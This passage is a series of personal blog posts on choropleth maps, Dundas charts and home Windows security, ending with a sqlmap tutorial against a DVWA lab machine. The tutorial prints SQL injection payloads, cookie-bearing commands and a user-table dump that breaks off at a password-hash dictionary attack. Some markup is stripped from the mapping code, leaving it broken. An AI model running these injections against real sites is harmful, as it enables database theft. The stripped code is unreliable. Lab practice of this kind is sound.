eric.ness.net

Data Driven Maps Part 2: KML Choropleth Maps

Eric — Fri, 20 Apr 2012 17:12:04 +0000

A Keyhole Markup Language (KML) file is a XML like file that contains information that can be overlaid on a google map. And KML files are great ways to create a choropleths over a highly used api like google maps.

There are a couple of caveats with this project. First, I have stored the co-ordinates in a database because it is a simple solution. Second, the google map api has an upper limit on the file size of about 3 mb. This being the case in the following code I have manually removed some of the smaller islands in part because they tend to be groups of island and add lot of lines to the final KML file.

So lets look at some code.

using System;
using System.IO;
using System.Linq;
using GoogleKMLTest.data;

namespace GoogleKMLTest.classes
{
    internal class CreateKMLFile
    {
        #region Variables

        private readonly GoogleKMLDataContext _db = new GoogleKMLDataContext();

        #endregion

        #region Create KML File

        /// 
        /// Creates thes the KML file.
        /// 
        public void CreatetheKMLFile()
        {
            // Local Variables
            var t2 = new FileInfo(@"C:\\kml\\test.kml");
            StreamWriter tex = t2.CreateText();
            var myRand = new Random();

            // Set Header
            SetHeader(tex);

            // Add style colors
            SetStyleColors(tex);

            // Add an empty line
            tex.WriteLine();

            // Removing smaller island countries to get under the google limit
            var q = (from t in _db.tbl_Google_Maps
                     where t.Country != "American Samoa" &&
                           t.Country != "Antigua and Barbuda" &&
                           t.Country != "British Virgin Islands" &&
                           t.Country != "Faroe Islands" &&
                           t.Country != "Federated States of Micronesia" &&
                           t.Country != "Fiji" &&
                           t.Country != "French Polynesia" &&
                           t.Country != "Kiribati" &&
                           t.Country != "Maldives" &&
                           t.Country != "Marshall Islands" &&
                           t.Country != "Northern Mariana Islands" &&
                           t.Country != "Pacific Islands (Palau)" &&
                           t.Country != "Solomon Islands"
                     select new {t.Country}).Distinct();

            // Loop through the rest of the countries
            foreach (var item in q)
            {
                // Get sub co-ordinates
                var item1 = item;
                IQueryable q2 = (from t in _db.tbl_Google_Maps
                                                 where t.Country == item1.Country
                                                 select t);

                // Start placemark
                tex.WriteLine("\t");
                tex.WriteLine("\t\t" + item.Country + "");
                tex.WriteLine("\t\t0");
                tex.WriteLine("\t\t#" + myRand.Next(1, 6) + "");
                tex.WriteLine("\t\t");

                // Loop through sub co-ordinates
                foreach (tbl_Google_Map item2 in q2)
                {
                    tex.WriteLine("\t\t\t");
                    tex.WriteLine("\t\t\t\t");
                    tex.WriteLine("\t\t\t\t\t");
                    tex.WriteLine("\t\t\t\t\t\t" + item2.CoOrdinates + "");
                    tex.WriteLine("\t\t\t\t\t");
                    tex.WriteLine("\t\t\t\t");
                    tex.WriteLine("\t\t\t\t1");
                    tex.WriteLine("\t\t\t");
                }

                // Close placemark
                tex.WriteLine("\t\t");
                tex.WriteLine("\t");
            }

            // Close KML file
            tex.WriteLine("");
            tex.WriteLine("");
            tex.Close();
        }

        /// 
        /// Sets the header.
        /// 
        /// The tex.
        private void SetHeader(StreamWriter tex)
        {
            tex.WriteLine("");
            tex.WriteLine("");
            tex.WriteLine("");
        }

        /// 
        /// Sets the style colors.
        /// 
        /// The tex.
        private void SetStyleColors(StreamWriter tex)
        {
            // Color One
            tex.WriteLine("\t");

            // Color Two
            tex.WriteLine("\t");

            // Color Three
            tex.WriteLine("\t");

            // Color Four
            tex.WriteLine("\t");

            // Color FIve
            tex.WriteLine("\t");
        }

        #endregion
    }
}

Once overlaid the result looks like this. You can download the project and sql db file here.

Data Driven Maps Part 1: SVG Choropleth Maps

Eric — Thu, 15 Mar 2012 14:40:45 +0000

Over the next couple of blog posts I would like to focus on displaying data on a map via the web. There are a number off the shelf options for your desktop that do a great job, one or two that we’ve talked about before. But, presenting data over the web often presents us with a couple of challenges – specifically data size.

One of my favorite ways to show data on a map is via a choropleth map. A choropleth map is essentially a shaded area of map that is correlated to some value. In this blog we are going to talk specifically about manipulating an SVG file in to a choropleth map.

SVG map files are great for a couple of reasons, specifically: they can be displayed in most modern browsers, can be edited in image editing software like Adobe Photoshop or (free) Inkscape and with javascript we can manipulate individual paths/areas.

Because this specific SVG file is more or less static we are not going to really look at it other than to say that each shape has a two letter state id – for instance ‘MN’ is for Minnesota.

The first bit of code I would like to look at is our json code. Specifically, we have the name of the state, the two letter code, and our data. The data is the current Unemployment Rate for each state.

var states =
			[{"name": "Alabama", "state": "AL", "value": 7.8},
			{"name": "Alaska", "state": "AK", "value": 4.2},
			{"name": "Arizona", "state": "AZ", "value":	8.7},
			{"name": "Arkansas", "state": "AR", "value": 7.6},
			{"name": "California", "state": "CA", "value": 10.9},
			{"name": "Colorado", "state": "CO", "value": 7.8},
			{"name": "Connecticut", "state": "CT", "value": 8},
			{"name": "Delaware", "state": "DE", "value": 7},
			{"name": "District of Columbia", "state": "DC", "value": 9.9},
			{"name": "Florida", "state": "FL", "value":	9.6},
			{"name": "Georgia", "state": "GA", "value":	9.2},
			{"name": "Hawaii", "state": "HI", "value": 6.5},
			{"name": "Idaho", "state": "ID", "value": 8.1},
			{"name": "Illinois", "state": "IL", "value": 9.4},
			{"name": "Indiana", "state": "IN", "value":	8.7},
			{"name": "Iowa", "state": "IA", "value": 5.4},
			{"name": "Kansas", "state": "KS", "value": 6.1},
			{"name": "Kentucky", "state": "KY", "value": 8.8},
			{"name": "Louisiana", "state": "LA", "value": 6.9},
			{"name": "Maine", "state": "ME", "value": 7},
			{"name": "Maryland", "state": "MD", "value": 6.5},
			{"name": "Massachusetts", "state": "MA", "value": 6.9},
			{"name": "Michigan", "state": "MI", "value": 9},
			{"name": "Minnesota", "state": "MN", "value": 5.6},
			{"name": "Mississippi", "state": "MS", "value":	9.9},
			{"name": "Missouri", "state": "MO", "value": 7.5},
			{"name": "Montana", "state": "MT", "value": 6.5},
			{"name": "Nebraska", "state": "NE", "value": 4},
			{"name": "Nevada", "state": "NV", "value": 12.7},
			{"name": "New Hampshire", "state": "NH", "value": 5.2},
			{"name": "New Jersey", "state": "NJ", "value": 9},
			{"name": "New Mexico", "state": "NM", "value": 7},
			{"name": "New York", "state": "NY", "value": 8.3},
			{"name": "North Carolina", "state": "NC", "value": 10.2},
			{"name": "North Dakota", "state": "ND", "value": 3.2},
			{"name": "Ohio", "state": "OH", "value": 7.7},
			{"name": "Oklahoma", "state": "OK", "value": 6.1},
			{"name": "Oregon", "state": "OR", "value": 8.8},
			{"name": "Pennsylvania", "state": "PA", "value": 7.6},
			{"name": "Rhode Island", "state": "RI", "value": 10.9},
			{"name": "South Carolina", "state": "SC", "value": 9.3},
			{"name": "South Dakota", "state": "SD", "value": 4.2},
			{"name": "Tennessee", "state": "TN", "value": 8.2},
			{"name": "Texas", "state": "TX", "value": 7.3},
			{"name": "Utah", "state": "UT", "value": 5.7},
			{"name": "Vermont", "state": "VT", "value": 5},
			{"name": "Virginia", "state": "VA", "value": 5.8},
			{"name": "Washington", "state": "WA", "value": 8.3},
			{"name": "West Virginia", "state": "WV", "value": 7.4},
			{"name": "Wisconsin", "state": "WI", "value": 6.9},
			{"name": "Wyoming", "state": "WY", "value": 5.5}];

The second piece of javascript does four main things: find the min/max of the data, calculates and sets the color, create popup text and mouse over/out actions.

// our min/max values
var min, max;

$(function() {
	// loads the states data
	 loadStates();
});

function loadStates() {
	// set the first items as min/max
	min = states[0].value;
	max = states[0].value;

	// find the min & max in the json data
	for(var i = 0; i < states.length; i++) {
		if(states[i].value < min) { min = states[i].value; }
		if(states[i].value > max) { max = states[i].value; }
	}

	// set states
	for(var i = 0; i < states.length; i++) {
		var value = states[i].value; 		// value
		var abbr = states[i].state;			// state code
		var myName = states[i].name;		// state name
		var color = '#' + getColor(value);	// static color option
		color = getColor2(value);			// color shaded as a %

		// Color state
		$('#' + abbr).css('fill', color);
		$('#' + abbr).css('stroke', 'white');
		$('#' + abbr).css('stroke-width', '0.5');

		// Add tipsy overlay
		$('#' + abbr).attr('title', buildTipsyBox(myName, value));
		$('#' + abbr).tipsy({gravity: 'w', html: true });

		// Add mouse over events
		mapMouseOver($('#' + abbr), color, myName, abbr, value);
		mapMouseOut($('#' + abbr), color);
	}
}

// Addmouse over event
function mapMouseOver(p, color, name, abbr, value) {
	p.mouseover(function() {
		// animate to gray
		p.css('fill', color).animate({opacity: 0.25}, 5 );
		p.css('fill', "#999999").animate({opacity: 0.5}, 100 );

		// show values
		$('#StateName').html(name);
		$('#StateAbbr').html(abbr);
		$('#value').html(value);
	});
}

// Add mouse out event
function mapMouseOut(p, color) {
	p.mouseout(function() {
		// re-set color
		p.css('fill', color).animate({opacity: 1}, 100 );

		// clear values
		$('#StateName').html('');
		$('#StateAbbr').html('');
		$('#value').html('');
	});
}

// Build the tipsy box html
function buildTipsyBox(name, value) {
	var text = 'Unemployment Rate
';
	text += "State: " + name + "
";
	text += "Value: " + value + "%";
	text += '';
	return text;
}

// Static color option
function getColor(code) {
	var itemColor;
	if (code == 1) itemColor = "b9c5d1";
	if (code == 2) itemColor = "9fb6c8";
	if (code == 3) itemColor = "74a2bc";
	if (code == 4) itemColor = "4785ac";
	if (code == 5) itemColor = "25689d";
	if (code == 6) itemColor = "084886";
	if (code == 7) itemColor = "08295c";
	return itemColor;
}

// Color option based as a percentage
function getColor2(code) {
	var p = (code - min)/(max - min);
	var rgb = setColor(p);
	return rgb;
}

// Gets shade as a percentage of a hue
function setColor(p){
    var continuousScale = d3.scale.linear().domain([1, 7]).range([0, 1]);
	var hue = 210; //blue
	var hex = d3.hsl(hue, .35, 1 - p)
	return hex;
}

Here is what it ends up looking like.

View the result live here! Download the files here.

[Extended from EJ Fox piece, 'How to Make Choropleth Maps in D3']

Flowing Data Charts Using Dundas/Microsoft Charts

Eric — Sat, 10 Mar 2012 16:20:13 +0000

Nathan Yau’s site Flowing Data is really one of my favorite sites on visualization. His recent book Visualize This is pretty much a required book if you do a lot of work with data, charts and visualization. I’ve always liked the approach Yau has taken with his charts as it has a slightly different feel than something you’d see Edward Tufte, Stephen Few or Dona Wong (all of whom I love) would do.

Anyway I’ve been slowly changing my charts to have more of a Flowing Data type layout and thought I would share some code. The goal here is to get as close to Nathan’s style using the Dundas / Microsoft Charting libraries as possible using ASP.NET MVC Framework.

Here is a typical Flowing Data chart [scanned from Visualize This]:

Here is my result:

So lets take a look at some of the code!

My MVC Charts class creates a generic chart object that gets us fairly down the road to Nathan’s layout.

using System.Drawing;
using Dundas.Charting.WebControl;

namespace FlowingData.Models
{
    public class MVCCharts
    {
        ///
 /// Creates the flowing data chart.
 /// 
        ///The width.
        ///The height.
        ///The title.
        ///The nar.
        ///The ind.
        ///The sour.
        ///
        public Chart CreateFlowingDataChart(int width, int height, string title, string nar, string ind, string sour)
        {
            // Inital Setup
            var chart1 = new Chart
                             {
                                 Width = width,
                                 Height = height,
                                 RenderType = RenderType.ImageTag,
                                 Palette = ChartColorPalette.Dundas,
                                 BorderColor = ColorTranslator.FromHtml("#E8E8E8"),
                                 BorderWidth = 1,
                                 BorderLineStyle = ChartDashStyle.Solid
                             };

            // Add title
            var t = new Title(title, Docking.Top, new Font("Georgia", 16, FontStyle.Bold), Color.FromArgb(68, 65, 61));
            chart1.Titles.Add(t);
            chart1.Titles[0].Alignment = ContentAlignment.TopLeft;

            // Add Narrative
            var narrative = new Title(nar, Docking.Top, new Font("Georgia", 10, FontStyle.Regular),
                                      Color.FromArgb(68, 65, 61));
            chart1.Titles.Add(narrative);
            chart1.Titles[1].Alignment = ContentAlignment.TopLeft;

            // Add Indicator
            var indicator = new Title(ind, Docking.Bottom, new Font("Georgia", 10, FontStyle.Italic),
                                      Color.FromArgb(68, 65, 61));
            chart1.Titles.Add(indicator);
            chart1.Titles[2].Alignment = ContentAlignment.BottomLeft;
            chart1.Titles[2].Position.Y = 97;
            chart1.Titles[2].Position.X = 2;
            chart1.Titles[2].Position.Width = 40;

            // Add Source
            var source = new Title(sour, Docking.Bottom, new Font("Georgia", 10, FontStyle.Italic),
                                   Color.FromArgb(68, 65, 61));
            chart1.Titles.Add(source);
            chart1.Titles[3].Alignment = ContentAlignment.BottomRight;

            // Add Chart Area
            chart1.ChartAreas.Add("Area1");

            // Add Legends
            chart1.Legends.Add("Legend1");
            chart1.Legend.Alignment = StringAlignment.Center;
            chart1.Legend.Docking = LegendDocking.Bottom;

            // Add Dashes
            chart1.ChartAreas[0].AxisY.MajorGrid.LineStyle = ChartDashStyle.Dot;
            chart1.ChartAreas[0].AxisY.MajorTickMark.LineStyle = ChartDashStyle.Dot;
            chart1.ChartAreas[0].AxisY.MajorGrid.LineColor = Color.Silver;
            chart1.ChartAreas[0].AxisY.MajorTickMark.LineColor = Color.Silver;
            chart1.ChartAreas[0].AxisY.MajorGrid.LineWidth = 1;
            chart1.ChartAreas[0].AxisY.LineWidth = 0;
            chart1.ChartAreas[0].AxisY.LabelStyle.Format = "#,###";

            // Remove Vertical Lines
            chart1.ChartAreas[0].AxisX.MajorGrid.LineStyle = ChartDashStyle.NotSet;

            return chart1;
        }
    }
}

My chart model essentially adds a series for each country, adds the country to that data, and then some last minute minor chart settings and colors.

using System;
using System.Drawing;
using System.Linq;
using Dundas.Charting.WebControl;

namespace FlowingData.Models
{
    public class ChartModel
    {
        #region Variables

        private readonly FlowingDataDBDataContext _db = new FlowingDataDBDataContext();

        #endregion

        #region Create Chart

        ///
 /// Creates the chart.
 /// 
        ///The chart.
        public void CreateChart(Chart chart)
        {
            try
            {
                // Get Distinct List Of Names
                var names = (from t in _db.Populations
                             select new {t.Country}).Distinct();

                foreach (var country in names)
                {
                    // Get Country Name
                    var country1 = country;

                    // Get Country Data
                    IOrderedQueryable data = (from t in _db.Populations
                                                          where t.Country == country1.Country
                                                          orderby t.Year ascending
                                                          select t);

                    // Add series and set chart type
                    chart.Series.Add(country.Country);
                    chart.Series[country.Country].Type = SeriesChartType.Line;
                    chart.Series[country.Country].BorderWidth = 3;
                    SetColor(chart, country.Country);

                    // Add data points
                    foreach (Population population in data)
                    {
                        chart.Series[population.Country].Points.AddXY(population.Year,
                                                                      population.Population__total__WDI_2011);
                    }

                    // Load Chart Settings
                    ChartSettings(chart);
                }
            }
            catch (Exception ex)
            {
                throw new Exception("Error: " + ex.Message);
            }
        }

        #endregion

        #region Misc

        ///
 /// Charts the settings.
 /// 
        ///The chart.
        private void ChartSettings(Chart chart)
        {
            // X axis settings
            chart.ChartAreas[0].AxisX.Minimum = 1960;
            chart.ChartAreas[0].AxisX.Interval = 10;
        }

        ///
 /// Sets the color.
 /// 
        ///The chart.
        ///Name of the country.
        private void SetColor(Chart chart, string countryName)
        {
            // Color chooser
            switch (countryName)
            {
                case "United States":
                    chart.Series[countryName].Color = ColorTranslator.FromHtml("#08519C");
                    break;
                case "United Kingdom":
                    chart.Series[countryName].Color = ColorTranslator.FromHtml("#6BAED6");
                    break;
                case "Germany":
                    chart.Series[countryName].Color = ColorTranslator.FromHtml("#BDD7E7");
                    break;
                case "France":
                    chart.Series[countryName].Color = ColorTranslator.FromHtml("#EFF3FF");
                    break;
            }
        }

        #endregion
    }
}

In the charts controller class you’d set the charts title, narrative, source, indicator and then return it as a file result.

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using Dundas.Charting.WebControl;
using FlowingData.Models;

namespace FlowingData.Areas.api.Controllers
{
    public class chartsController : Controller
    {
        #region Variables

        readonly MVCCharts _charts = new MVCCharts();
        readonly ChartModel _model = new ChartModel();

        #endregion

        #region Get Chart

        ///
 /// Getcharts this instance.
 /// 
        ///
        public FileResult getchart()
        {
            // Set Titles
            const string title = "Population Growth of The United States vs. European Countries";
            const string indicator = "Indicator: Population, total";
            const string source = "Source: WDI-2011";
            const string narrative = "The population of various major European countries has remained " +
                                     "fairly stagnant over the last 50 years, yet in the United States " +
                                     "the population has increased at a fairly consistent rate.";

            // Create Chart
            Chart myChart = _charts.CreateFlowingDataChart(800, 450, title, narrative, indicator, source);

            // Load Chart
            _model.CreateChart(myChart);

            // Return File
            var myRand = new Random();
            var imageStream = new MemoryStream();
            myChart.Save(imageStream, ChartImageFormat.Png);
            return File(imageStream.ToArray(), "image/png", myRand.Next() + ".png");
        }

        #endregion
    }
}

…and that is it – easy peasey.

You can download the files (including the ms sql backup file) here. [I had to remove the Dundas library but you should be able to simply substitute the Microsoft version. In the code you would have to change the using Dundas.Charting.WebControl to the Microsoft library but that should be about it.]

Basic Windows Security

Eric — Sat, 03 Mar 2012 21:57:02 +0000

Every once in a while a family members and friends will me ask a couple of windows security questions on how to set up this and ask opinions on several different pieces of software, etc. So I thought I would write down a couple of thoughts on basic pragmatic windows security for you home computer. It is by no means complete but, it gets pretty far down the line.

1) Create a non admin account

This is a big one. In the Linux word having your main login account not be an admin account is virtually imposed on you from the second you install Linux. However, in the windows world this is not. In fact you have to explicitly set this up. Here is a pretty good video addressing this concern.

Windows System Security Part I from Devon Greene on Vimeo.

2) Personal Software Inspector (PSI)

One big feature that is in Linux that is explicitly not in Windows is a way to check to see if your applications are up to date. Part of this reason is that most flavors of Linux have an desktop interface that allows you to freely install hundreds of applications over the internet – because it knows which applications you’ve installed and has a repository if a new update for your application comes out it lets you know and requests you install that update. Thus, eliminating a lot of security bugs as they arise. It’s a bit on par with saying, “Hey Windows has a system update do you want to install it?” for all your applications.

Personal Software Inspector brings this Linux feature in to the Windows world. And it is a must. It will scan which applications you have installed on your computer and compares the version number of the most current application in their database. If you don’t have the latest version it will request that you download it keeping your system more secure.

3) Microsoft Security Essentials

Every Windows machine needs a anti-virus program. There are lots of opinions as to which anti-virus is the best and the only thing I can tell you is that no anti-virus is perfect. One anti-virus application will catch things that others miss. I’ve seen it in real life many many times. So since no anti-virus is perfect which one do you go with? In the past I’ve used Kaspersky, Symantec, AVG, McAfee, Avast, etc. All of them do a fairly decent job. My main complaint against some of them is the amount of resources they use on your computer but, generally speaking they are all fine.

For me now I tend to you Microsoft Security Essentials. I like it. Fairly low on the resource utilization end of things, a simple interface and probably one of the bigger points it is totally free and doesn’t pester you to buy their ‘Pro’ version of their software.

4) Zone Alarm Firewall

You probably need a firewall. I kind of put this in the optional category for two reasons: first, windows does have a fire wall and is enabled by default (most don’t know how to make it work exactly right but, it’s there and it works) and second, firewalls can be a little tricky at times especially novices.

I like Zone Alarms free personal firewall for one specific reason, it tells you “Hey, application x wants access to the internet! Is this ok?”. It’s application access control does a pretty good job and is a good thing to have on your computer regardless.

5) CCleaner

I love CCleaner! It’s one of the first applications that I install whenever I buy a new computer or do a fresh install. It essentially cleans your computer of garbage files, your internet cache, temp application data, etc. And “it just works”! CCleaner also has a lot of features that come with it like the Registry cleaner – there are a lot of pro/cons for these types of tools. For the average user it is probably best to use some of the features.

6) Spybot – Search &? Destroy

You probably need Anti-Malware/Anti-Spyware application. There are somethings that are in the “gray” area when it comes to viruses. Somethings are not necessarily viruses or trojans persay but are tracking pieces of code that an anti-virus scanner might not trigger. Or sometimes anti-virus systems are not as good at removing that’s why I like Spybot it tends to do a pretty good job at getting those last couple of things out.

7) Revo Uninstaller

Having a good un-installer is a great thing to have. Often when you un-install something files are still left on your computer or items are left in your registry. The Revo Un-installer take care of this job fairly well.

8) Virtual Private Network VPN

I travel a couple of times a year for work and sometimes work out of a coffee shop and for me a Virtual Private Network (VPN) is pretty much a must. A VPN is normally software or setup internet connection that routes your internet traffic through an intermediary and the great thing about this is that it is all encrypted. I only mention this because I have personally witnessed a guy at a Starbucks sniff traffic using wireshark but, it wouldn’t be needed in your own home.

9) Different Browser & Plugins

First tip here is try other browsers. Two of my favorite browsers are Firefox and Chrome. Chrome from a programming point of view is probably the most secure as it implements on of the best sandboxing methods I’ve seen. But, I still have a big soft spot for Firefox.

The most important thing to consider and often not use aspect is the use of plugins. There is a list of plugins you may want to consider:

Adblock Plus
WOT – Know Which Websites to Trust
BetterPrivacy
Priv3 - Practical Third-Party Privacy for the Social Web
NoScript – A little hard to get used to but is extremely powerful.

?/a

Sql Injection Testing With SqlMap

Eric — Sat, 13 Aug 2011 04:00:40 +0000

Disclaimer: This is for educational purposes only in the hopes you will use it to secure your own site and code. I take no responsibility for any malicious use of the following technology or approach. In short don’t be dumb.

Often one thinks that Sql Injection is just used to inject code in to a database however, sql injection can also be used to enumerate through a whole host of commands that can sometimes lead to complete control of the entire server. Here we are going to simply show you how to list all the databases in the server, get the tables and data.

This is a brief overview of how to test for sql injections using sqlmap. For this we are going to attack a Damn Vulnerable Web Application Virtual Machine and Back Track. Once the virtual machine is up and running login in the site (in this example the ip is 192.168.0.103), and set the security to low.

Navigate to http://192.168.0.103/vulnerabilities/sqli/ and enter a value in to the text box. Open a shell and and navigate to /pentest/database/sqlmap. You will also need a program to get cookie and session info like the Tamper Data plugin for firefox.

Get A List Of All The Databases In The Database.

To build the string to run the command you’ll need the following things.

URL: http://192.168.0.103/vulnerabilities/sqli/?id=2&Submit=Submit#
Cookie: PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low
Column Name: Surname

You’ll notice that once you’ve enter a value in to the text box of sqli page it returns some data where some of the text that is commonly returned would be Surname.

Run the following command: “./sqlmap.py -u ‘http://192.168.0.103/vulnerabilities/sqli/?id=2&Submit=Submit#’ –cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low” –string=”Surname” –dbs“.

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u 'http://192.168.0.103/vulnerabilities/sqli/?id=2&Submit=Submit#' --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" --string="Surname" --dbs

sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool

http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors

assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 21:53:39

[21:53:39] [INFO] using '/pentest/database/sqlmap/output/192.168.0.103/session' as session file
[21:53:39] [INFO] resuming injection data from session file
[21:53:39] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[21:53:39] [INFO] testing connection to the target url
[21:53:39] [INFO] testing if the provided string is within the target URL page content
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2' AND 7500=7500 AND 'ibOx'='ibOx&Submit=Submit

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=2' AND (SELECT 271 FROM(SELECT COUNT(*),CONCAT(CHAR(58,122,111,97,58),(SELECT (CASE WHEN (271=271) THEN 1 ELSE 0 END)),CHAR(58,103,98,116,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND

'VtPs'='VtPs&Submit=Submit

Type: UNION query
Title: MySQL UNION query (NULL) - 1 to 10 columns
Payload: id=2' UNION ALL SELECT CONCAT(CHAR(58,122,111,97,58),IFNULL(CAST(CHAR(102,99,66,86,83,69,118,82,78,117) AS CHAR),CHAR(32)),CHAR(58,103,98,116,58)), NULL# AND 'lDYv'='lDYv&Submit=Submit

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=2' AND SLEEP(5) AND 'mMol'='mMol&Submit=Submit
---

[21:53:39] [INFO] manual usage of GET payloads requires url encoding
[21:53:39] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS: MySQL 5.0
[21:53:39] [INFO] fetching database names
[21:53:39] [INFO] read from file '/pentest/database/sqlmap/output/192.168.0.103/session': information_schema, cdcol, dvwa, mysql, phpmyadmin, test
available databases [6]:
[*] cdcol
[*] dvwa
[*] information_schema
[*] mysql
[*] phpmyadmin
[*] test

[21:53:39] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.0.103'

[*] shutting down at: 21:53:39

Here are the results:

available databases [6]:
[*] cdcol
[*] dvwa
[*] information_schema
[*] mysql
[*] phpmyadmin
[*] test

The one we are interested in is dvwa.

To List The Tables Of A Single Database.

One we have our list of databases we keep the url and cookie session data but we add some of the following fields.

Select Database: -D dvwa
Get Tables: –tables

Run the following command: “./sqlmap.py -u ‘http://192.168.0.103/vulnerabilities/sqli/?id=2&Submit=Submit#’ –cookie=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low” -D dvwa –tables”

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u 'http://192.168.0.103/vulnerabilities/sqli/?id=2&Submit=Submit#' --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" -D dvwa --tables

sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool

http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors

assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 21:54:05

[21:54:05] [INFO] using '/pentest/database/sqlmap/output/192.168.0.103/session' as session file
[21:54:05] [INFO] resuming injection data from session file
[21:54:05] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[21:54:05] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2' AND 7500=7500 AND 'ibOx'='ibOx&Submit=Submit

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=2' AND (SELECT 271 FROM(SELECT COUNT(*),CONCAT(CHAR(58,122,111,97,58),(SELECT (CASE WHEN (271=271) THEN 1 ELSE 0 END)),CHAR(58,103,98,116,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND

'VtPs'='VtPs&Submit=Submit

Type: UNION query
Title: MySQL UNION query (NULL) - 1 to 10 columns
Payload: id=2' UNION ALL SELECT CONCAT(CHAR(58,122,111,97,58),IFNULL(CAST(CHAR(102,99,66,86,83,69,118,82,78,117) AS CHAR),CHAR(32)),CHAR(58,103,98,116,58)), NULL# AND 'lDYv'='lDYv&Submit=Submit

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=2' AND SLEEP(5) AND 'mMol'='mMol&Submit=Submit
---

[21:54:05] [INFO] manual usage of GET payloads requires url encoding
[21:54:05] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS: MySQL 5.0
[21:54:05] [INFO] fetching tables for database: dvwa
[21:54:05] [INFO] read from file '/pentest/database/sqlmap/output/192.168.0.103/session': dvwa, guestbook, dvwa, users
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

[21:54:05] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.0.103'

[*] shutting down at: 21:54:05

Here are the tables from the dvwa database:

[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

Get Data From A Table

To get the data and columns of a table you need the following items – in this example we are going to get the table from the users table.

Select Database: -D dvwa
Get Tables: –tables
Select Table: -T users –dump

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u 'http://192.168.0.103/vulnerabilities/sqli/?id=2&Submit=Submit#' --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" -D dvwa -T users --dump

sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool

http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors

assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 21:54:26

[21:54:26] [INFO] using '/pentest/database/sqlmap/output/192.168.0.103/session' as session file
[21:54:26] [INFO] resuming injection data from session file
[21:54:26] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[21:54:26] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2' AND 7500=7500 AND 'ibOx'='ibOx&Submit=Submit

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=2' AND (SELECT 271 FROM(SELECT COUNT(*),CONCAT(CHAR(58,122,111,97,58),(SELECT (CASE WHEN (271=271) THEN 1 ELSE 0 END)),CHAR(58,103,98,116,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND

'VtPs'='VtPs&Submit=Submit

Type: UNION query
Title: MySQL UNION query (NULL) - 1 to 10 columns
Payload: id=2' UNION ALL SELECT CONCAT(CHAR(58,122,111,97,58),IFNULL(CAST(CHAR(102,99,66,86,83,69,118,82,78,117) AS CHAR),CHAR(32)),CHAR(58,103,98,116,58)), NULL# AND 'lDYv'='lDYv&Submit=Submit

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=2' AND SLEEP(5) AND 'mMol'='mMol&Submit=Submit
---

[21:54:26] [INFO] manual usage of GET payloads requires url encoding
[21:54:26] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS: MySQL 5.0
[21:54:26] [INFO] fetching columns for table 'users' on database 'dvwa'
[21:54:26] [INFO] read from file '/pentest/database/sqlmap/output/192.168.0.103/session': user_id, int(6), first_name, varchar(15), last_name, varchar(15), user, varchar(15), password, varchar(32), avatar, varchar(70)
[21:54:26] [INFO] fetching entries for table 'users' on database 'dvwa'
recognized possible password hash values. do you want to use dictionary attack on retrieved table items? [Y/n/q] Y
[21:54:28] [INFO] using hash method: 'md5_generic_passwd'
what's the dictionary's location? [/pentest/database/sqlmap/txt/wordlist.txt]
[21:54:29] [INFO] loading dictionary from: '/pentest/database/sqlmap/txt/wordlist.txt'
